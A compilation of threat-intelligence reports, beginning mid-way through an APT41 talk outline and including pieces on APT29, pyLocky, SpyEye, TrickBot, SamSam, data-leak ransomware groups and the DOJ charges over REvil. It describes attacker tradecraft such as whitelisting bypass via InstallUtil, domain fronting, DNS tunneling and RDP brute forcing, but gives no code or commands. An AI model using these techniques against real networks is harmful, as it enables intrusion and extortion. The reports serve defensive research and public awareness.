- Abusing the certificate to hide the payload in a signed PE file
- Using domain fronting techniques to hide the real IP address
- Using legitimate tools like InstallUtil to execute code and bypass application whitelisting
In addition to malware that is known to be used by APT41, we also found some newly developed malware. There are two new pieces of listening port malware. We also found a shellcode-based backdoor, Natwalk.
The group is also more careful in their usage of C2. They use DNS tunneling extensively as well as Cloudflare Worker to hide their real C2 IP.
We have observed that APT41 targeted telecommunications companies, key medical institutions, governments, and major infrastructures in various countries in 2021. The prosecution did not deter them, but instead prompted them to evolve their attack techniques, making it harder for researchers to track and detect.
In this talk, we will provide more details about the campaigns of APT41, including its innovative TTPs, newly developed malware, lateral movement techniques, and the strategies they used for C2 after they were sued by the FBI. We also research the relation of the subgroups under APT41, like Fishmaster and GroupCC.
## Who is Winnti?
- Winnti = APT41?
- APT41 = Chengdu404?
- Under APT41, it can be divided into several groups via different techniques and targets
- The targets are very wide. It is suspected that MSS has integrated the resources, attack techniques, and tools to make this group look bigger.
### Target Country
### Target Industry
- High-tech
- Healthcare
- Airlines
- Financial
- Research
- Government
- Media
- Gaming
- Telecom
- Energy
- Education
- Manufacturing
## Initial Access
- CVE-2021-34527 (PrintNightmare)
- CVE-2021-26855 (ProxyLogon)
- SQL vulnerabilities
- phpMyAdmin vulnerabilities
- Web vulnerabilities
- Flash installer
- Fake Decoy Icon
## New TTPs
- Certificate bypass
- DLL hollowing technique
- InstallUtil
- Early bird code injection
- CDN service and Cloudflare worker
- Some new backdoor
## APT41’s Backdoor during 2020-2021
- Natwalk
- HIGHNOON
- FunnyDLL
- Shadowpad
- Cobalt Strike
- PlugX
- Spyder
- Winnti
- Linux RAT
## Takeaway
- Various kinds of Cobalt Strike loader and some new attack techniques
- New backdoor e.g., Natwalk
- C2 hiding techniques
- Relation to other operations
## IOC
- Chatloader
- .NET loader
- Funnyswitch loader
- Early bird code injection loader
- Natwalk
- HIGHNOON loader
- FunnyDLL
- Spyder
- Shadowpad
## Reference
1. The operations of Winnti group
2. PT Security report on Winnti APT-41 backdoors
3. LAC report on Winnti
4. Recorded Future report on Chinese group TAG-22
5. Avast report on backdoored client from Mongolian CA Monpass
6. HITCON 2018 presentation
7. Trend Micro report on BIOPASS RAT
Thank you! |
# US, UK, and Canada’s COVID-19 Research Targeted by APT29
Earlier today, government agencies in the US, UK, and Canada warned that APT29, or The Dukes as they’re known in some circles, has been targeting organizations working on COVID-19 vaccines. Speaking with reporters, F-Secure Director of Strategy and Corporate Development Artturi Lehtiö, who was the lead researcher in a 2015 analysis of the group’s activities, said these kinds of organizations are not traditional targets for The Dukes. However, he also highlights that the attacks are consistent with The Dukes’ alignment with national security interests – of which the coronavirus pandemic certainly qualifies.
> “Not the traditional kind of target organization for APT29 aka Dukes. But COVID-19 is obviously a national security priority and those most definitely are the traditional remit of APT29.” — Artturi Lehtiö (@lehtior2) July 16, 2020
According to a report published by the UK’s NCSC, The Dukes are using public exploits against unpatched software to gain footholds in systems with the intent to steal information related to COVID-19 vaccines. After this initial access, they use malware to steal information. The report says The Dukes are also using spear phishing attacks to manipulate users into disclosing login credentials.
Artturi points out that while The Dukes have compromised research organizations, such as universities, in the past, they’ve done so primarily to leverage that access in attacks against organizations more directly related to governments. In this case, Artturi thinks that The Dukes’ sudden interest in stealing intellectual property could signal a shift in their priorities due to the severity of the pandemic in Russia.
“APT29 has traditionally focused on intelligence to inform national and security policy, rather than the theft of intellectual property. However, COVID-19 could be such a major national security priority for Russia that they need all hands-on deck. For what it’s worth, APT29’s history of targeting universities has been, to the best of our knowledge, a stepping stone to targeting think tanks and eventually governmental targets. But, since they’ve traditionally had access to these other networks, perhaps that’s also now being utilized for this new priority.” |
# pyLocky Decryptor Released by French Authorities
A decryptor for pyLocky Ransomware versions 1 and 2 has been released by French authorities that allows victims to decrypt their files for free. According to a post by the French Ministry of Interior, this decryptor was created in collaboration between French law enforcement, the French Homeland Security Information Technology and Systems Service, and volunteer researchers.
"This tool is a result of a collaboration among the agencies of the French Ministry of Interior, including first the Brigade d’enquêtes sur les fraudes aux technologies de l’information (BEFTI) of the Direction régionale de la police judiciaire de Paris, on the basis of technical elements gathered during its investigations and the collaboration with volunteer researchers. Those elements allowed the Service des technologies et des systèmes d’information de la sécurité intérieure ST(SI)², part of the Gendarmerie nationale, to create that software."
While pyLocky has not seen a wide distribution, the post by the French Ministry of Interior states it is more active in Europe. "PyLocky is very active in Europe and there are already many victims in France, both within the professional environment (SMEs, large businesses, associations, etc.) as well as at home."
## Getting the pyLocky Decryptor
The pyLocky decryptor will decrypt files encrypted by version 1 and 2 of the ransomware. Supported encrypted file extensions for version 1 are `.lockedfile` or `.lockymap` and version 2 is `.locky`.
To use this decryptor, victims will need to have the Java Runtime installed. Once installed, victims can double-click on the `PyLocky_Decryptor_V1_V2.jar` file to launch the decryptor. Instructions on how to use the decryptor are included in the downloaded zip file or can be read online.
## Possible Command & Control Server Takeover
The pyLocker Ransomware utilizes Command & Control servers on the Tor network. These Tor servers are provided in the ransom notes created on a victim's computer. Based on analysis by Michael Gillespie, the decryptor contains 2 hard coded private RSA keys. This could mean that French law enforcement or security researchers were able to gain access to a command and control server and retrieve the master private encryption keys for versions 1 and 2 of the ransomware. It would also indicate that this is not a flaw in the encryption algorithm used by the ransomware.
## About the Author
Lawrence Abrams is the owner and Editor in Chief of BleepingComputer.com. Lawrence's area of expertise includes Windows, malware removal, and computer forensics. Lawrence Abrams is a co-author of the Winternals Defragmentation, Recovery, and Administration Field Guide and the technical editor for Rootkits for Dummies. |
# Trojan:Win32/Spyeye
**Published:** Jun 14, 2011 | **Updated:** Sep 15, 2017
**Detected by:** Microsoft Defender Antivirus
**Aliases:**
- W32/Backdoor2.HIVE (Command)
- W32/SpyEye.EM (Norman)
- TrojanSpy.SpyEyes!FR8m+BE7HUc (VirusBuster)
- TR/Spy.SpyEyes.hug (Avira)
- Win32/Spy.SpyEye.CA (ESET)
- TSPY_SPYEYE.VI (Trend Micro)
## Summary
Trojan:Win32/Spyeye is a trojan that captures keystrokes and steals login credentials through a method known as "form grabbing". It sends captured data to a remote attacker, may download updates, and has a rootkit component to hide its malicious activity.
To detect and remove this threat and other malicious software that may be installed on your computer, run a full-system scan with an appropriate, up-to-date security solution. |
# TrickBot Config Files
- **mcconf_botnet_2** - config.conf files with C2C intermediate nodes for another botnet of TrickBot.
- **mcconf_botnet_3** - config.conf files with C2C intermediate nodes for another botnet of TrickBot.
- **mcconf_files** - config.conf files with C2C intermediate nodes.
- **servconf_botnet_2** - servconf files with more C2C intermediate nodes for another botnet of TrickBot.
- **servconf_botnet_3** - servconf files with more C2C intermediate nodes for another botnet of TrickBot.
- **servconf_files** - servconf files with more C2C intermediate nodes. |
# SamSam: The (almost) $6 million ransomware
By Mark Stockley
31 Jul 2018
Extensive research by Sophos has uncovered a trove of new information on the notorious SamSam ransomware, revealing that it has affected far more victims than previously thought, and raised vastly more in ransom demands – almost $6 million. Through original analysis, interviews and research, and by collaborating closely with industry partners and a specialist cryptocurrency monitoring organisation, Sophos has uncovered new details about how the secretive and sophisticated SamSam ransomware is used, who’s been targeted, how it works and how it’s evolving.
## A different breed of malware
What sets SamSam apart from most other ransomware, and why detailed research about it is so important, is the way it’s used in stealthy, targeted attacks. Most ransomware is spread in large, noisy and untargeted spam campaigns sent to thousands, or even hundreds of thousands, of people. They use simple techniques to infect victims and aim to raise money through large numbers of relatively small ransoms of perhaps a few hundred dollars each. SamSam is very different – it’s used in targeted attacks by a skilled team or individual who breaks into a victim’s network, surveils it and then runs the malware manually. The attacks are tailored to cause maximum damage and ransom demands are measured in the tens of thousands of dollars.
Because the malware has been used so sparingly compared to other types of ransomware, details about how it works and how the attacks play out have been elusive since its first appearance in December 2015. Although you are unlikely to be the target of a SamSam ransomware attack – attacks occur at a rate of about one per day – those who are can find the effects devastating.
## New insights
The research paper reveals a host of fresh technical insights including new details about how SamSam scans victims’ networks and builds up the list of machines it’s going to encrypt. Perhaps most eye-catching though is new information about how it spreads: Unlike WannaCry, which exploited a software vulnerability to copy itself to new machines, SamSam is actually deployed to computers on the victim’s network in the same way, and with the same tools, as legitimate software applications.
Sophos’s investigation also sheds new light on the number of attacks, how often they occur and who has been targeted. Based on the known victims, it’s been widely speculated until now that SamSam attacks are directed specifically at the healthcare, government and education sectors. Sophos can reveal that this is not the case. Working with cryptocurrency monitoring organisation Neutrino, Sophos followed the money and identified many ransom payments and victims that were previously unknown. Based on the much larger number of victims now known it seems that far from being unaffected, the private sector has actually borne the brunt of SamSam. Victims in that sector have simply been far more reluctant to come forward.
The money trail also revealed that SamSam has netted nearly $6 million in ransom payments – about six times more than the most recent best estimate. From its new research, Sophos is also able to offer better protection and disaster recovery advice too. Thanks to an improved understanding of the way that SamSam targets files in the victim’s operating system, Sophos now recommends that backing up your business data is not enough. To recover swiftly from a SamSam attack, organisations need more than a plan for restoring data – they need a comprehensive plan for rebuilding machines.
## How attacks unfold
The SamSam attacker gains access to victims’ networks via RDP (Remote Desktop Protocol) by using software like nlbrute to successfully guess weak passwords. Sophos has identified that the timing of attacks changes to reflect the victim’s timezone. Whether the victim is on the west coast of the USA or in the UK, attacks happen at night time while the victims are asleep.
Unlike other well-known ransomware such as WannaCry or NotPetya, SamSam doesn’t have any worm-like or virus capabilities, so it can’t spread by itself. Instead, it relies on the human attacker to spread it – an attacker who can adapt their tactics according to the environment and defences they discover as they surveil the target. By working in this way, the attacker can try over and over again to work around defences and gain the access they want. If the SamSam attacker is on your network they will likely stay on it until they succeed, unless they’re kicked off.
Having gained access to a network, the SamSam operator uses a variety of tools to escalate their privileges to the level of Domain Admin. Then they scan the network for valuable targets and deploy and execute the malware as any self-respecting sysadmin might, using utilities such as PsExec or PaExec. Once it has been spread far and wide, the many copies of the ransomware are triggered centrally, starting within seconds of each other. On each infected machine, files are encrypted in a way that’s designed to cause the most damage in the shortest time. Once the attack has been launched, the attacker waits to see if the victim makes contact via a Dark Web payment site referenced in the ransom note. Ransom demands have increased over time to about $50,000, vastly more than the three-figure sums typical of untargeted ransomware attacks.
## What to do?
To avoid becoming a victim, the best defence against SamSam or any other form of malware is to adopt a layered, defence in depth approach to security. SamSam targets appear to be chosen on the basis of their vulnerability. Earlier attacks established a foothold on victims’ networks by exploiting known software vulnerabilities. More recently the attacks have begun with the brute forcing of RDP credentials. Staying on top of your patching and maintaining good password discipline will therefore provide a formidable barrier to SamSam attacks. That barrier can then be strengthened significantly with these simple steps:
1. Restrict RDP access to staff connecting over a VPN.
2. Use multi-factor authentication for VPN access and sensitive internal systems.
3. Complete regular vulnerability scans and penetration tests.
4. Keep backups offline and offsite.
Of course, SamSam is just one of millions of cyberthreats and this detailed examination of SamSam is just part of the constant, ongoing malware research undertaken by Sophos to improve and adapt its ability to protect against all forms of malware. The investigation is ongoing – if you have information about SamSam or you are a security vendor interested in collaborating with our investigation, please contact Sophos. |
# Origins and Adversaries, Pt. 1
**The CrowdStrike Intel Team**
September 24, 2020
The most prominent eCrime trend observed so far in 2020 is big game hunting (BGH) actors stealing and leaking victim data to force ransom payments and, in some cases, demand two ransoms. Data extortion is not a new tactic for criminal adversaries; however, when BGH operations don’t result in payment, victims now face a double-headed threat of ensuring their data does not make it into the hands of others. This first part of a two-part blog series explores the origins of ransomware, BGH, and extortion, and introduces some of the criminal adversaries that are currently dominating this data leak extortion ecosystem.
## A Brief History of Ransomware and Big Game Hunting
The origins of ransomware can in part be traced back to around 2008 with the development of fake antivirus software by cybercriminal organizations. These applications showed phony alerts to victims and required payment to “clean up” malware infections. These criminal enterprises were driven by affiliates (known in Russian-speaking criminal forums as partnerka) that earned a commission for each infection and each fake antivirus purchase. At the time, these criminal organizations were able to leverage high-risk merchant accounts to accept credit cards, making it easy for the average victim to pay for their bogus software. Eventually, credit card companies were able to identify and prevent these types of fraudulent transactions, effectively putting the eCriminals out of business.
As fake antivirus software disappeared, a new threat emerged that became the predecessor to modern ransomware. Known as a screen locker, this threat would typically display a message impersonating international law enforcement agencies such as the FBI, Interpol, and the U.K.’s Metropolitan Police Service. The message essentially locked a victim out of accessing their desktop, demanding payment as a “fine” for the victim’s “criminal” activity, such as viewing illicit pornography or distributing copyrighted material. Payment was made primarily through Ukash, Paysafe, and MoneyPak. There were also screen lockers that claimed to encrypt a victim’s files; however, the vast majority did not perform any encryption. The criminals behind this activity used the same affiliate-driven model as the fake antivirus groups to share profits.
Screen lockers virtually disappeared after the introduction of a ransomware family known as CryptoLocker in 2013. CryptoLocker ransomware was revolutionary in both the number of systems it impacted and its use of strong cryptographic algorithms. The ransomware was developed by the so-called BusinessClub that used the massive Gameover Zeus botnet with over a million infections. The group primarily leveraged their botnet for banking-related fraud. However, they realized that not all infections could be monetized easily, so they decided to develop their own ransomware and deploy it to a subset of their botnet’s infected systems. The ransom demand for victims was relatively small — an amount between $100 and $300 USD — and payable in a variety of digital currencies including cashU, Ukash, Paysafe, MoneyPak, and Bitcoin (BTC). CryptoLocker became extremely successful, and other cybercriminals took notice, leading to an explosion in ransomware malware families that continued to use the same affiliate-based profit-sharing model.
The next major trend in ransomware began in 2016 with the introduction of the Samas ransomware by BOSS SPIDER. Unlike prior ransomware families, Samas went specifically after businesses rather than individuals. This group initially gained access to corporate networks using Remote Desktop Protocol (RDP) and outdated JBoss instances that were exposed to the internet. Once inside the organization, BOSS SPIDER used tactics similar to many state-sponsored threat actors to move laterally, compromise an organization’s domain controller, and thereafter deploy their ransomware. Not only did Samas impact businesses, but BOSS SPIDER realized that they could demand a significantly large ransom payment. CrowdStrike® Intelligence refers to this operational model as big game hunting, which was quickly adopted by INDRIK SPIDER.
Interestingly, INDRIK SPIDER had primarily focused on banking fraud for more than half a decade. However, after BOSS SPIDER’s success with BGH attacks, INDRIK SPIDER realized that ransomware was far more profitable and far less complex to monetize (e.g., it did not require an extensive money mule network to launder funds). This actor shifted from banking fraud to ransomware in 2017, developing BitPaymer ransomware, and more recently, WastedLocker. Since the early BGH operations of BOSS SPIDER and INDRIK SPIDER, the trend has transformed the eCrime ecosystem. New adversaries have adopted BGH techniques, and enablers have built tools to cater to this burgeoning market.
## A New Trend: Cyber Extortion
Cyber extortion also has a long history, including email extortion, distributed denial-of-service (DDoS) extortion, and data extortion attacks. Email extortion is likely the most prolific and longest-standing form of cyber extortion given its low barrier to entry. In order to operate campaigns, criminal actors merely need to acquire leaked passwords, which can be easily found on Pastebin, or other more superficial victim information, such as a telephone number, to help appear legitimate in that they have somehow acquired damaging information related to the victim. These actors typically send an email to the victim with one piece of legitimate personal information, claim the victim was infected with malware, and thus acquire more damaging information. The actor then demands a ransom payment in order to keep the information from being sent to the victim’s friends, family, or colleagues.
A slightly more sophisticated version of this technique came with the emergence of DDoS extortion. As early as April 2014, PIZZO SPIDER (also known as DD4BC, which is an acronym for “DDoS for Bitcoin”) sent emails claiming that they would DDoS a business and take down their services if the business did not pay the demanded ransom amount. Later, MIMIC SPIDER and other criminal actors operating Internet of Things (IoT) botnets, such as Mirai, used this technique. Some of these actors conducted DDoS attacks before the threat to prove they could follow through, while other actors simply rode the coattails of other attacks, sending the threat while unable to follow through with the deed.
One of the more publicized actors to capitalize on this trend and take it to the next level is OVERLORD SPIDER, aka The Dark Overlord. Similar to ransomware operators today, OVERLORD SPIDER likely purchased RDP access to compromised servers on underground forums in order to exfiltrate data from corporate networks. The actor was known to attempt to “sell back” the data to the respective victims, threatening to sell the data to interested parties should the victim refuse to pay. There was at least one identified instance of OVERLORD SPIDER successfully selling victim data on an underground market.
## Putting It All Together: Cyber Extortion With Ransomware
On May 7, 2019, Mayor Bernard “Jack” Young confirmed that the network for the U.S. City of Baltimore (CoB) was infected with ransomware, which was announced via Twitter. This infection was later confirmed to be conducted by OUTLAW SPIDER, which is the actor behind the RobbinHood ransomware. The actor demanded to be paid 3 BTC (approximately $17,600 USD at the time) per infected system, or 13 BTC (approximately $76,500 USD at the time) for all infected systems to recover the city’s files.
On May 9, 2019, CrowdStrike Intelligence observed OUTLAW SPIDER post an image on the Tor hidden service hosted by the actors to establish communications with their victims (known as a payment portal). This image contained sensitive information allegedly taken from the CoB network and was posted along with a message stating, “The city also said no personal data has been compromised, Really ?!.” This comment was likely in response to public statements by the city that no personal information had been compromised during the incident and to incentivize ransom payment. Young later stated that not only was the city not going to pay the ransom, but that “we’re going to get [the threat actors] and punish them to the fullest extent of the law.” This was followed by further communications from OUTLAW SPIDER, through an established Twitter account and the payment portal, stating they would remove all collected city information if the ransom was paid by a specified deadline.
Although ineffective, the incident with the CoB and OUTLAW SPIDER was the first instance observed by CrowdStrike Intelligence of data extortion to incentivize ransom payment.
## Ransomware Actors Leaking Victim Data
After the CoB incident with OUTLAW SPIDER, several months passed before TWISTED SPIDER reintroduced this technique in November 2019. TWISTED SPIDER’s late 2019 activity proved the catalyst for numerous eCrime threat actors adopting the use of dedicated leak sites (DLSs) to threaten the distribution of company data in various forms. TWISTED SPIDER remains the most prolific actor using this technique, with a variety of actors adopting this technique through the first half of 2020. This section provides an overview of each of these threat actors and how they incentivize and pressure victims to pay ransoms.
### TWISTED SPIDER
TWISTED SPIDER has been operating Maze ransomware since at least May 2019; however, the actors did not start leaking victim data until November 2019. They first advertised their data leaks on a Russian underground forum, claiming to include 10% of the victim’s data and threatening to leak the remaining data in a later post. In these posts, the criminal actor called out popular security companies and warned another victim to pay the ransom quickly. On December 10, 2019, they created a DLS but continued to post to Russian underground forums.
On January 2, 2020, a victim filed a lawsuit against TWISTED SPIDER and the company hosting the DLS containing the stolen files. This caused the site to be temporarily taken down, but TWISTED SPIDER merely created a new DLS on January 9, 2020. Despite the legal action, the actor remained active, continuing to deploy their ransomware on victim networks and posting data either on underground forums or to the new DLS. Currently, the criminal actor hosts the DLS simultaneously on the web and on a Tor hidden service. TWISTED SPIDER’s audacious commentary continues to persist as they mock security companies and researchers in posts on their DLS, and call out victims before and after the release of data to induce payment.
When TWISTED SPIDER leaks victim data, the actor publishes identifying information, including the victim’s headquarters, phone number, fax number, and website. If the post is intended to serve as a warning, the actors will only upload a sample of data for proof. In addition to leaking data on their DLS, TWISTED SPIDER also uses the site as a platform for their press releases. These releases include terms and conditions for their operations, naming and shaming victims, and proclamations of the group’s alleged motivations and goals.
### PINCHY SPIDER
On December 9, 2019 (approximately two and a half weeks after TWISTED SPIDER’s first leak), a vendor of PINCHY SPIDER’s REvil ransomware as a service (RaaS) posted a threat to leak victim data to an underground forum. This is the first time CrowdStrike Intelligence observed the group or their affiliates making such a threat, and it appeared to be in frustration over failing to monetize compromises at a U.S.-based managed service provider (MSP) and a China-based asset management firm. Since that time, affiliates of PINCHY SPIDER have posted data on more than 80 victims.
PINCHY SPIDER began leaking victim data on underground forums before launching a DLS on February 26, 2020, hosted using a Tor hidden service. Similar to TWISTED SPIDER’s initial leaks, PINCHY SPIDER warns victims of the planned data leak, usually via a blog post on their DLS containing sample data as proof, before releasing the bulk of the data after a given amount of time. REvil will also provide a link to the blog post within the ransom note distributed to systems encrypted by REvil ransomware. The link contains a GET parameter, which if provided with a given link, will display the leak to the affected victim prior to being exposed to the public. Upon visiting the link, a countdown timer will begin, which will cause the leak to be published once the given amount of time has elapsed.
A timeline for victims affected by PINCHY SPIDER’s data leaks shows a single victim published as the lightest color; the darkest color indicates six victims were published to the site in one day. While PINCHY SPIDER affiliates took time to begin using the tactic, by the time April 2020 rolled around, the publishing of victim data became more consistent. In addition, unlike TWISTED SPIDER, affiliates of PINCHY SPIDER appear to take weekends off; victim data is typically published during the working days of Monday through Friday.
### DOPPEL SPIDER
DOPPEL SPIDER, operator and developer of the ransomware DoppelPaymer, was next to leak victim data. Since introducing their DLS on February 21, 2020, the actor has published data from over 40 victims. However, while TWISTED SPIDER and PINCHY SPIDER typically leak data in at most three parts, DOPPEL SPIDER will leak data over multiple days, and sometimes weeks. Additionally, DOPPEL SPIDER will only post victim information after a victim refuses to pay and the timer for the payment deadline has expired. The actor is likely allowing the victim to observe that the data is legitimate and incentivize them to pay the ransom before all of their data is leaked.
As can be seen, DOPPEL SPIDER is not as visibly prolific as TWISTED SPIDER or PINCHY SPIDER and leaks data sporadically, occasionally going one to two weeks without victims being published. The timeline displays a single victim published to the site as the lightest color with up to three victims, the darkest color, having been published in a given day.
### VIKING SPIDER
VIKING SPIDER is the criminal group behind the development and distribution of Ragnar Locker ransomware. While public reporting indicates the group began threatening to leak victim data in February 2020, a DLS was not observed until April 2020. The DLS is hosted on Tor, and similar to other actors, proof of data exfiltration is provided before the stolen data is fully leaked. Since this time, at least 12 victims have been observed on their DLS.
### LockBit
In development since at least September 2019, LockBit is available as a RaaS, advertised to Russian-speaking users or English speakers with a Russian-speaking guarantor. In May 2020, an affiliate operating LockBit posted a threat to leak data on a popular Russian-language criminal forum. In addition to the threat, the affiliate provides proof, such as an image of the folder structure and at least one screenshot of an example document contained within the victim data. Once the deadline passes, the affiliate is known to post a mega[.]nz link to download the stolen victim data. This affiliate has threatened to publish data from at least nine victims. Currently, there is no DLS in operation dedicated to LockBit ransomware.
### MedusaLocker
MedusaLocker is a ransomware family that was first seen in the wild in early October 2019. In January 2020, a fork of MedusaLocker named Ako was observed, which has been updated to support the use of a Tor hidden service to facilitate a RaaS model. Operators of the Ako version of the malware have since implemented a DLS. At least nine victims have been published to the site since its inception.
## Conclusion
Data extortion is not a new trend, but it seems to be growing in popularity to fuel ransomware operations. OVERLORD SPIDER is one of possibly many eCrime actors using data theft and extortion as the main driver for their operations — in fact, it is the only method used by this actor. OVERLORD SPIDER’s operations have been well publicized and may have influenced other actors about the potential effectiveness of this tactic in eliciting payment.
To date, the majority of ransomware operators engaged in BGH operations have adopted or threatened the data-theft-and-leak tactic, with the exception of INDRIK SPIDER and WIZARD SPIDER. It is also likely that less sophisticated ransomware operators will threaten data leaks, even if they do not have the capability to exfiltrate data, in order to capitalize on the current trend of data extortion by bluffing.
As organizations improve their capabilities to rebound from ransomware attacks and security researchers continue to create decryptors for ransomware, there is less incentive for victims to pay the ransom in order to reclaim files. However, criminal actors have found a way to thwart these defensive measures. By exfiltrating data from victim networks and leaking it if companies refuse to comply, criminal actors might be able to revitalize the financial returns of their criminal activities. |
# Ransomware: Analyzing the Data from 2020
During the final months of 2020, ransomware groups continued to wreak havoc. New variants created data leak sites, including Pay2Key, RansomEXX, and Everest ransomware. High-profile organizations targeted included Barnes & Noble Booksellers, Inc., Ubisoft, and Epicor Software by the Egregor group, and Capcom Network by the Ragnar Locker group.
## What Happened in Ransomware for Q4 2020?
Throughout 2020, the “pay or get breached” trend escalated. Victim organizations faced pressure to pay ransom quickly due to the threat of public exposure on data leak sites. In Q4 2020, three additional data leak sites were identified, indicating that this tactic remains effective.
- In Q3 2020, Maze, Conti, Sodinokibi, and NetWalker accounted for 76% of alerts related to ransomware dump sites.
- In Q4 2020, Sodinokibi activity decreased, and Maze announced they were ceasing operations. Egregor, Conti, NetWalker, and DoppelPaymer accounted for 71% of alerts.
- Pay2Key, RansomEXX, and Everest ransomware groups joined the data leak sites.
- Egregor entered the scene with the highest number of alerts for the quarter.
- Ransomware groups attempted new tactics, including cold calling victims to pressure them into paying ransom demands, with some threats extending to employee safety.
## Who Was the Most Active Ransomware Group of 2020?
Of the ransomware data leak sites monitored, six groups made up 84% of alerts: Maze, Egregor, Conti, Sodinokibi, DoppelPaymer, and NetWalker.
The “Other” ransomware data leak sites accounted for 16% of alerts and included Ako/Ranzy Locker, Avaddon, Clop, DarkSide, Everest, LockBit, Mount Locker, Nefilim, Pay2Key, PYSA, Ragnar Locker, RansomEXX, Sekhmet, and SunCrypt.
## What Was the Most Targeted Industry by Ransomware Operators in 2020?
Ransomware operators targeted various sectors, with Industrial Goods & Services being the most targeted, accounting for 29% of alerts. “Other” sectors made up 16% of alerts, including aerospace, banks, chemicals, consulting services, cyber security, education, energy, hospitality, insurance, media, oil & gas, pharmaceuticals, telecommunications, and waste management. North America was the most targeted region, with 66% of alerts coming from organizations in that area.
## Which Ransomware Operators Started and Stopped in 2020?
### The End of Maze
On November 1, 2020, Maze Group operators announced an end to operations. Maze was known as an innovator of data leak sites. In mid-March 2020, they stated they would halt activity against medical organizations until the end of the COVID-19 pandemic. However, in April, they released data stolen from Hammersmith Medicines Research Ltd. The group claimed their intent was to highlight security weaknesses, warning that cybercriminals could exploit these vulnerabilities.
### The Rise of Egregor
Egregor ransomware was identified in September 2020 and is believed to be related to the Sekhmet ransomware variant. Egregor gained recognition in October 2020 by targeting Barnes & Noble and video game producers Ubisoft and Crytek. Egregor victims increased significantly in a short time frame, suggesting a possible connection to Maze operators.
## What Is to Come in the Ransomware Threat Landscape for 2021?
The threat of ransomware attacks is likely to continue through 2021. The “pay or get breached” trend has proven successful and may attract new or lesser-known variants to compete with established ones like Egregor, DoppelPaymer, NetWalker, and Sodinokibi.
In 2020, costly attacks crippled companies across industries. In 2021, organizations are encouraged to better mitigate this threat. Security teams should stay updated with threat intelligence to identify data exposure early, research vulnerabilities, and monitor discussions and advertisements for sensitive information on cybercriminal marketplaces. |
# Ukrainian Arrested and Charged with Ransomware Attack on Kaseya
**November 8, 2021**
**Department of Justice**
**Office of Public Affairs**
The Justice Department announced today recent actions taken against two foreign nationals charged with deploying Sodinokibi/REvil ransomware to attack businesses and government entities in the United States. An indictment unsealed today charges Yaroslav Vasinskyi, 22, a Ukrainian national, with conducting ransomware attacks against multiple victims, including the July 2021 attack against Kaseya, a multi-national information technology software company.
The department also announced today the seizure of $6.1 million in funds traceable to alleged ransom payments received by Yevgeniy Polyanin, 28, a Russian national, who is also charged with conducting Sodinokibi/REvil ransomware attacks against multiple victims, including businesses and government entities in Texas on or about Aug. 16, 2019.
According to the indictments, Vasinskyi and Polyanin accessed the internal computer networks of several victim companies and deployed Sodinokibi/REvil ransomware to encrypt the data on the computers of victim companies.
“Cybercrime is a serious threat to our country: to our personal safety, to the health of our economy, and to our national security,” said Attorney General Garland. “Our message today is clear. The United States, together with our allies, will do everything in our power to identify the perpetrators of ransomware attacks, to bring them to justice, and to recover the funds they have stolen from their victims.”
“Our message to ransomware criminals is clear: If you target victims here, we will target you,” said Deputy Attorney General Monaco. “The Sodinokibi/REvil ransomware group attacks companies and critical infrastructures around the world, and today’s announcements showed how we will fight back. In another success for the department’s recently launched Ransomware and Digital Extortion Task Force, criminals now know we will take away your profits, your ability to travel, and – ultimately – your freedom. Together with our partners at home and abroad, the Department will continue to dismantle ransomware groups and disrupt the cybercriminal ecosystem that allows ransomware to exist and to threaten all of us.”
“The arrest of Yaroslav Vasinskyi, the charges against Yevgeniy Polyanin and seizure of $6.1 million of his assets, and the arrests of two other Sodinokibi/REvil actors in Romania are the culmination of close collaboration with our international, U.S. government and especially our private sector partners,” said FBI Director Christopher Wray. “The FBI has worked creatively and relentlessly to counter the criminal hackers behind Sodinokibi/REvil. Ransomware groups like them pose a serious, unacceptable threat to our safety and our economic well-being. We will continue to broadly target their actors and facilitators, their infrastructure, and their money, wherever in the world those might be.”
“Ransomware can cripple a business in a matter of minutes. These two defendants deployed some of the internet’s most virulent code, authored by REvil, to hijack victim computers,” said Acting U.S. Attorney Chad E. Meacham for the Northern District of Texas. “In a matter of months, the Justice Department identified the perpetrators, effected an arrest, and seized a significant sum of money. The Department will delve into the darkest corners of the internet and the furthest reaches of the globe to track down cyber criminals.”
According to court documents, Vasinskyi was allegedly responsible for the July 2 ransomware attack against Kaseya. In the alleged attack against Kaseya, Vasinskyi caused the deployment of malicious Sodinokibi/REvil code throughout a Kaseya product that caused the Kaseya production functionality to deploy REvil ransomware to “endpoints” on Kaseya customer networks. After the remote access to Kaseya endpoints was established, the ransomware was executed on those computers, which resulted in the encryption of data on computers of organizations around the world that used Kaseya software.
Through the deployment of Sodinokibi/REvil ransomware, the defendants allegedly left electronic notes in the form of a text file on the victims’ computers. The notes included a web address leading to an open-source privacy network known as Tor, as well as the link to a publicly accessible website address the victims could visit to recover their files. Upon visiting either website, victims were given a ransom demand and provided a virtual currency address to use to pay the ransom. If a victim paid the ransom amount, the defendants provided the decryption key, and the victims then were able to access their files. If a victim did not pay the ransom, the defendants typically posted the victims’ stolen data or claimed they sold the stolen data to third parties, and victims were unable to access their files.
Vasinskyi and Polyanin are charged in separate indictments with conspiracy to commit fraud and related activity in connection with computers, substantive counts of damage to protected computers, and conspiracy to commit money laundering. If convicted of all counts, each faces a maximum penalty of 115 and 145 years in prison, respectively.
The $6.1 million seized from Polyanin is alleged to be traceable to ransomware attacks and money laundering committed by Polyanin through his use of Sodinokibi/REvil ransomware. The seizure warrant was issued out of the Northern District of Texas. Polyanin is believed to be abroad.
On Oct. 8, Vasinskyi was taken into custody in Poland where he remains held by authorities pending proceedings in connection with his requested extradition to the United States, pursuant to the extradition treaty between the United States and the Republic of Poland. In parallel with the arrest, interviews and searches were carried out in multiple countries, and would not have been possible without the rapid response of the National Police of Ukraine and the Prosecutor General’s Office of Ukraine.
The FBI’s Dallas and Jackson Field Offices are leading the investigation. Substantial assistance was provided by the Justice Department’s Office of International Affairs and the National Security Division’s Counterintelligence and Export Control Section.
Assistant U.S. Attorney Tiffany H. Eggers of the U.S. Attorney’s Office for the Northern District of Texas and Senior Counsel Byron M. Jones from the Justice Department’s Computer Crime and Intellectual Property Section are prosecuting the case.
The U.S. Attorney’s Office for the Northern District of Texas, the FBI’s Dallas and Jackson Field Offices, and the Criminal Division’s Computer Crime and Intellectual Property Section conducted the operation in close cooperation with Europol and Eurojust, who were an integral part of coordination. Investigators and prosecutors from several jurisdictions, including: Romania's National Police and the Directorate for Investigating Organised Crime and Terrorism; Canada’s Royal Canadian Mounted Police; France’s Court of Paris and BL2C (anti-cybercrime unit police); Dutch National Police; Poland’s National Prosecutor’s Office, Border Guard, Internal Security Agency, and Ministry of Justice; and the governments of Norway and Australia provided valuable assistance.
